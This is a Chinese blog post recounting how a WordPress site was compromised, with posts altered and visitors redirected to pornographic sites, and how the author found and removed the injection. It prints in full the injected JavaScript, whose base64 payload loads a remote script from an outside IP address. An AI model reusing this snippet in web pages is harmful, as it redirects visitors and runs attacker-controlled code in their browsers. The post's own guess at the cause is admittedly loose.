病毒 | wordpress网站内容被篡改、自动跳转、变全英文的解决办法

去年10月开始,网站经常有文章被莫名其妙的篡改,而且后面还经常出现跳转到色情网站的问题,让人烦不胜烦,困扰了好几个月,最后终于解决了。这里特次记录和总结下此次恼人的事件。

 

时间:2018年10月


问题

1.编辑经常会在后台编辑中发现文章被改成全英文的了,并且以前的文章也会被改成英文的。而我们的网站本身是中文网站,也没有要做英文网站的打算。

2.打开网页后1,2秒后,网站会自动跳转到国外的色情网站。

 

查找

刚开始有点没方向,杀毒软件,手动查找可疑文件都试过,但是病毒依然。后来还咨询过专业网络防护公司,但是价格动辄几万,确实负担不起。

ps:有些外文杀毒网站提供的软件,明确表示就是我们中招的那种,但是下载后仅能检测,要杀毒还要另外购买。而且实际也没检测出问题。

 

分析

之前的各种尝试把人整得有点晕了,还是要回到问题本身,冷静分析一下。

1)服务器上同时有几个网站,但唯独只有一个站有问题。那么病毒只会在这个站的文件或者数据库里面

2)网站的后台并没有被感染,只有前台的页面才有。前后端的差异最大的就是内容的发布。那么病毒可能跟内容发布有关

得到上面不算严谨的推论后,我自己也是将信将疑。在前端打开审查代码,果然有一条跳转到境外的失败的信息。

然后忐忑地打开后台查找问题发布的地方。竟然就是在每段内容的最后被加入了一段重定向代码!

内容即:

1 <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe-->

是乌克兰的ip

 

清理

把这段代码删除后,网站就恢复原貌了。

网站上几乎所有的文章都被感染了,篡改的时间也是从傍晚一直到深夜。

虽然我是手动清除的病毒,其实还有更简便的方法。

https://blog.csdn.net/eeliangsoft/article/details/84293963
https://stackoverflow.com/questions/52249409/how-to-remove-scripts-in-posts-from-an-sql-injection-attack

 

原因:

网上查到一种原因 https://www.ithome.com.tw/news/88176

“電子前線基金會(Electronic Frontier Foundation)技術人員Yan Zhu在個人部落格上公開WordPress的安全漏洞指出,WordPress用來紀錄使用者登入憑證的cookie並未加密,而是用明文顯示,使得在公開網路使用WordPress的用戶都有帳號被挾持的風險。”

由上推断可能是因为在网站或浏览器中使用了记住密码,黑客从浏览器获取了cookie中的账号密码,从而登录篡改网站内容。

所以在登录网站的时候,从安全角度最好不使用“记住密码”,特别是在http的网站上。

 

综合:

在网站管理中,尽量不用记住密码的功能,特别实在http的网站中。
如果网站被黑,先定位问题的位置,再做打算。

 

posted on 2019-05-14 12:41  六月游乐  阅读(846)  评论(0编辑  收藏  举报

导航